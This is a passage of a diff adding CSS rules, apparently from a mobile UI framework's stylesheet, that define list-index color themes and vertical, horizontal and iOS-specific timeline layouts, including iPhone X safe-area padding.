+.md .list-index.color-theme-yellow .list-index-skip-placeholder:after, +.md .color-theme-yellow .list-index .list-index-label, +.md .list-index.color-theme-yellow .list-index-label { + background-color: #ffeb3b; +} +.md .color-theme-orange .list-index ul, +.md .list-index.color-theme-orange ul { + color: #ff9800; +} +.md .color-theme-orange .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-orange .list-index-skip-placeholder:after, +.md .color-theme-orange .list-index .list-index-label, +.md .list-index.color-theme-orange .list-index-label { + background-color: #ff9800; +} +.md .color-theme-gray .list-index ul, +.md .list-index.color-theme-gray ul { + color: #9e9e9e; +} +.md .color-theme-gray .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-gray .list-index-skip-placeholder:after, +.md .color-theme-gray .list-index .list-index-label, +.md .list-index.color-theme-gray .list-index-label { + background-color: #9e9e9e; +} +.md .color-theme-white .list-index ul, +.md .list-index.color-theme-white ul { + color: #ffffff; +} +.md .color-theme-white .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-white .list-index-skip-placeholder:after, +.md .color-theme-white .list-index .list-index-label, +.md .list-index.color-theme-white .list-index-label { + background-color: #ffffff; +} +.md .color-theme-black .list-index ul, +.md .list-index.color-theme-black ul { + color: #000000; +} +.md .color-theme-black .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-black .list-index-skip-placeholder:after, +.md .color-theme-black .list-index .list-index-label, +.md .list-index.color-theme-black .list-index-label { + background-color: #000000; +} +.md .list-index.color-red ul { + color: #f44336; +} +.md .list-index.color-red .list-index-skip-placeholder:after, +.md .list-index.color-red .list-index-label { + background-color: #f44336; +} +.md .list-index.color-green ul { + color: #4caf50; +} +.md .list-index.color-green .list-index-skip-placeholder:after, +.md .list-index.color-green .list-index-label { + background-color: #4caf50; +} +.md .list-index.color-blue ul { + color: #2196f3; +} +.md .list-index.color-blue .list-index-skip-placeholder:after, +.md .list-index.color-blue .list-index-label { + background-color: #2196f3; +} +.md .list-index.color-pink ul { + color: #e91e63; +} +.md .list-index.color-pink .list-index-skip-placeholder:after, +.md .list-index.color-pink .list-index-label { + background-color: #e91e63; +} +.md .list-index.color-yellow ul { + color: #ffeb3b; +} +.md .list-index.color-yellow .list-index-skip-placeholder:after, +.md .list-index.color-yellow .list-index-label { + background-color: #ffeb3b; +} +.md .list-index.color-orange ul { + color: #ff9800; +} +.md .list-index.color-orange .list-index-skip-placeholder:after, +.md .list-index.color-orange .list-index-label { + background-color: #ff9800; +} +.md .list-index.color-gray ul { + color: #9e9e9e; +} +.md .list-index.color-gray .list-index-skip-placeholder:after, +.md .list-index.color-gray .list-index-label { + background-color: #9e9e9e; +} +.md .list-index.color-white ul { + color: #ffffff; +} +.md .list-index.color-white .list-index-skip-placeholder:after, +.md .list-index.color-white .list-index-label { + background-color: #ffffff; +} +.md .list-index.color-black ul { + color: #000000; +} +.md .list-index.color-black .list-index-skip-placeholder:after, +.md .list-index.color-black .list-index-label { + background-color: #000000; +} +/* === Timeline === */ +.timeline { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.block-strong .timeline { + padding: 0; + margin: 0; +} +.timeline-item { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.timeline-item-date { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 50px; + text-align: right; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-date small { + font-size: 10px; +} +.timeline-item-content { + margin: 2px; + min-width: 0; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.timeline-item-content p:first-child, +.timeline-item-content ul:first-child, +.timeline-item-content ol:first-child, +.timeline-item-content h1:first-child, +.timeline-item-content h2:first-child, +.timeline-item-content h3:first-child, +.timeline-item-content h4:first-child { + margin-top: 0; +} +.timeline-item-content p:last-child, +.timeline-item-content ul:last-child, +.timeline-item-content ol:last-child, +.timeline-item-content h1:last-child, +.timeline-item-content h2:last-child, +.timeline-item-content h3:last-child, +.timeline-item-content h4:last-child { + margin-bottom: 0; +} +.timeline-item-inner { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-inner .block { + padding: 0; + color: inherit; +} +.timeline-item-inner .block-strong { + padding-left: 0; + padding-right: 0; + margin: 0; +} +.timeline-item-inner .block-strong:before { + display: none !important; +} +.timeline-item-inner .block-strong:after { + display: none !important; +} +.timeline-item-inner .list ul:before { + display: none !important; +} +.timeline-item-inner .list ul:after { + display: none !important; +} +.timeline-item-divider { + width: 1px; + position: relative; + width: 10px; + height: 10px; + background: #bbb; + border-radius: 50%; + margin-top: 3px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.timeline-item-divider:after, +.timeline-item-divider:before { + content: ' '; + width: 1px; + height: 100vh; + position: absolute; + left: 50%; + background: inherit; + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); +} +.timeline-item-divider:after { + top: 100%; +} +.timeline-item-divider:before { + bottom: 100%; +} +.timeline-item:last-child .timeline-item-divider:after { + display: none; +} +.timeline-item:first-child .timeline-item-divider:before { + display: none; +} +.timeline-item-time { + font-size: 13px; +} +.timeline-item-time:first-child, +.timeline-item-time:last-child { + margin-top: 0; +} +.timeline-item-title + .timeline-item-time { + margin-top: 0; +} +.timeline-horizontal { + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.timeline-horizontal .timeline-item { + display: block; + width: 33.33333333vw; + margin: 0; + padding: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + position: relative; + height: 100%; +} +.timeline-horizontal .timeline-item-date { + width: auto; + text-align: left; + line-height: 34px; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 34px; + text-align: right; +} +.timeline-horizontal .timeline-item-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + margin: 0; +} +.timeline-horizontal .timeline-item-divider { + display: none; +} +.timeline-horizontal.col-100 .timeline-item { + width: 100vw; +} +.timeline-horizontal.col-95 .timeline-item { + width: 95vw; +} +.timeline-horizontal.col-90 .timeline-item { + width: 90vw; +} +.timeline-horizontal.col-85 .timeline-item { + width: 85vw; +} +.timeline-horizontal.col-80 .timeline-item { + width: 80vw; +} +.timeline-horizontal.col-75 .timeline-item { + width: 75vw; +} +.timeline-horizontal.col-70 .timeline-item { + width: 70vw; +} +.timeline-horizontal.col-66 .timeline-item { + width: 66.66666666666666vw; +} +.timeline-horizontal.col-65 .timeline-item { + width: 65vw; +} +.timeline-horizontal.col-60 .timeline-item { + width: 60vw; +} +.timeline-horizontal.col-55 .timeline-item { + width: 55vw; +} +.timeline-horizontal.col-50 .timeline-item { + width: 50vw; +} +.timeline-horizontal.col-45 .timeline-item { + width: 45vw; +} +.timeline-horizontal.col-40 .timeline-item { + width: 40vw; +} +.timeline-horizontal.col-35 .timeline-item { + width: 35vw; +} +.timeline-horizontal.col-33 .timeline-item { + width: 33.333333333333336vw; +} +.timeline-horizontal.col-30 .timeline-item { + width: 30vw; +} +.timeline-horizontal.col-25 .timeline-item { + width: 25vw; +} +.timeline-horizontal.col-20 .timeline-item { + width: 20vw; +} +.timeline-horizontal.col-15 .timeline-item { + width: 15vw; +} +.timeline-horizontal.col-10 .timeline-item { + width: 10vw; +} +.timeline-horizontal.col-5 .timeline-item { + width: 5vw; +} +@media (min-width: 768px) { + .timeline-horizontal.tablet-100 .timeline-item { + width: 100vw; + } + .timeline-horizontal.tablet-95 .timeline-item { + width: 95vw; + } + .timeline-horizontal.tablet-90 .timeline-item { + width: 90vw; + } + .timeline-horizontal.tablet-85 .timeline-item { + width: 85vw; + } + .timeline-horizontal.tablet-80 .timeline-item { + width: 80vw; + } + .timeline-horizontal.tablet-75 .timeline-item { + width: 75vw; + } + .timeline-horizontal.tablet-70 .timeline-item { + width: 70vw; + } + .timeline-horizontal.tablet-66 .timeline-item { + width: 66.66666666666666vw; + } + .timeline-horizontal.tablet-65 .timeline-item { + width: 65vw; + } + .timeline-horizontal.tablet-60 .timeline-item { + width: 60vw; + } + .timeline-horizontal.tablet-55 .timeline-item { + width: 55vw; + } + .timeline-horizontal.tablet-50 .timeline-item { + width: 50vw; + } + .timeline-horizontal.tablet-45 .timeline-item { + width: 45vw; + } + .timeline-horizontal.tablet-40 .timeline-item { + width: 40vw; + } + .timeline-horizontal.tablet-35 .timeline-item { + width: 35vw; + } + .timeline-horizontal.tablet-33 .timeline-item { + width: 33.333333333333336vw; + } + .timeline-horizontal.tablet-30 .timeline-item { + width: 30vw; + } + .timeline-horizontal.tablet-25 .timeline-item { + width: 25vw; + } + .timeline-horizontal.tablet-20 .timeline-item { + width: 20vw; + } + .timeline-horizontal.tablet-15 .timeline-item { + width: 15vw; + } + .timeline-horizontal.tablet-10 .timeline-item { + width: 10vw; + } + .timeline-horizontal.tablet-5 .timeline-item { + width: 5vw; + } +} +.timeline-horizontal .timeline-year, +.timeline-horizontal .timeline-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + padding-top: 24px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; +} +.timeline-horizontal .timeline-year-title, +.timeline-horizontal .timeline-month-title { + position: absolute; + left: 0; + top: 0; + width: 100%; + line-height: 24px; + height: 24px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-horizontal .timeline-year-title span, +.timeline-horizontal .timeline-month-title span { + display: inline-block; + position: -webkit-sticky; + position: sticky; +} +.timeline-horizontal .timeline-year-title { + font-size: 16px; +} +.timeline-horizontal .timeline-month-title span { + margin-top: -2px; +} +/* === Timeline iOS === */ +.ios .timeline { + margin: 35px 0; + padding: 0 15px; +} +.ios .block-strong .timeline { + padding: 0; + margin: 0; +} +.ios .timeline-item { + padding: 2px 0px 15px; +} +.ios .timeline-item:last-child { + padding-bottom: 2px; +} +.ios .timeline-item-content .card, +.ios .timeline-item-content.card, +.ios .timeline-item-content .list, +.ios .timeline-item-content.list, +.ios .timeline-item-content .block, +.ios .timeline-item-content.block { + margin: 0; + width: 100%; +} +.ios .timeline-item-content .card + .card, +.ios .timeline-item-content .list + .card, +.ios .timeline-item-content .block + .card, +.ios .timeline-item-content .card + .list, +.ios .timeline-item-content .list + .list, +.ios .timeline-item-content .block + .list, +.ios .timeline-item-content .card + .block, +.ios .timeline-item-content .list + .block, +.ios .timeline-item-content .block + .block { + margin: 15px 0 0; +} +.ios .timeline-item-inner { + border-radius: 7px; + padding: 8px 15px; +} +.ios .timeline-item-inner + .timeline-item-inner { + margin-top: 15px; +} +.ios .block-strong .timeline-item-inner { + border-radius: 3px; + border: 1px solid rgba(0, 0, 0, 0.1); +} +.ios .timeline-item-divider { + margin-left: 15px; + margin-right: 15px; +} +.ios .timeline-item-time { + margin-top: 15px; + color: #6d6d72; +} +.ios .timeline-item-time:first-child, +.ios .timeline-item-time:last-child { + margin-top: 0; +} +.ios .timeline-item-title { + font-size: 17px; + font-weight: 600; +} +.ios .timeline-item-subtitle { + font-size: 15px; +} +.ios .timeline-sides .timeline-item { + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; +} +.ios .timeline-sides .timeline-item .timeline-item-date { + text-align: left; +} +.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; +} +.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: right; +} +.ios .timeline-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; +} +.ios .timeline-sides .timeline-item-left .timeline-item-date { + text-align: right; +} +.ios .timeline-sides .timeline-item-right { + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; +} +.ios .timeline-sides .timeline-item-right .timeline-item-date { + text-align: left; +} +@media (min-width: 768px) { + .ios .tablet-sides .timeline-item { + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; + } + .ios .tablet-sides .timeline-item .timeline-item-date { + text-align: left; + } + .ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; + } + .ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: right; + } + .ios .tablet-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; + } + .ios .tablet-sides .timeline-item-left .timeline-item-date { + text-align: right; + } + .ios .tablet-sides .timeline-item-right { + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; + } + .ios .tablet-sides .timeline-item-right .timeline-item-date { + text-align: left; + } +} +.ios .timeline-horizontal { + padding: 0; + margin: 0; +} +.ios .timeline-horizontal .timeline-item { + padding-top: 34px !important; + padding-bottom: 10px; +} +.ios .timeline-horizontal > .timeline-item:last-child:after, +.ios .timeline-horizontal .timeline-month:last-child .timeline-item:last-child:after { + display: none !important; +} +.ios .timeline-horizontal .timeline-item-date { + background: #f7f7f8; + padding: 0px 10px; +} +.ios .timeline-horizontal .timeline-item-content { + padding: 10px; + height: calc(100% - 10px); +} +.ios .timeline-horizontal .timeline-item-date:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item-date:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item-date:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .timeline-horizontal .timeline-month .timeline-item:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-month .timeline-item:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-month .timeline-item:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .timeline-horizontal .timeline-item:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .timeline-horizontal .timeline-year:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-year:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-year:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .timeline-year:last-child:after { + display: none !important; +} +.ios .timeline-year-title, +.ios .timeline-month-title { + padding: 0 10px; + background: #f7f7f8; +} +.ios .timeline-year-title span, +.ios .timeline-month-title span { + right: 10px; +} +.ios .timeline-year-title span { + margin-top: 3px; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span { + left: calc(10px + constant(safe-area-inset-left)); + left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title { + left: -44px; + right: 0; + width: auto; + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item { + overflow: visible; + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date { + width: auto; + padding-left: calc(10px + constant(safe-area-inset-left)); + padding-left: calc(10px + env(safe-area-inset-left)); + left: calc(0px - constant(safe-area-inset-left)); + left: calc(0px - env(safe-area-inset-left)); + right: 0; + } + .ios.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal) { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + 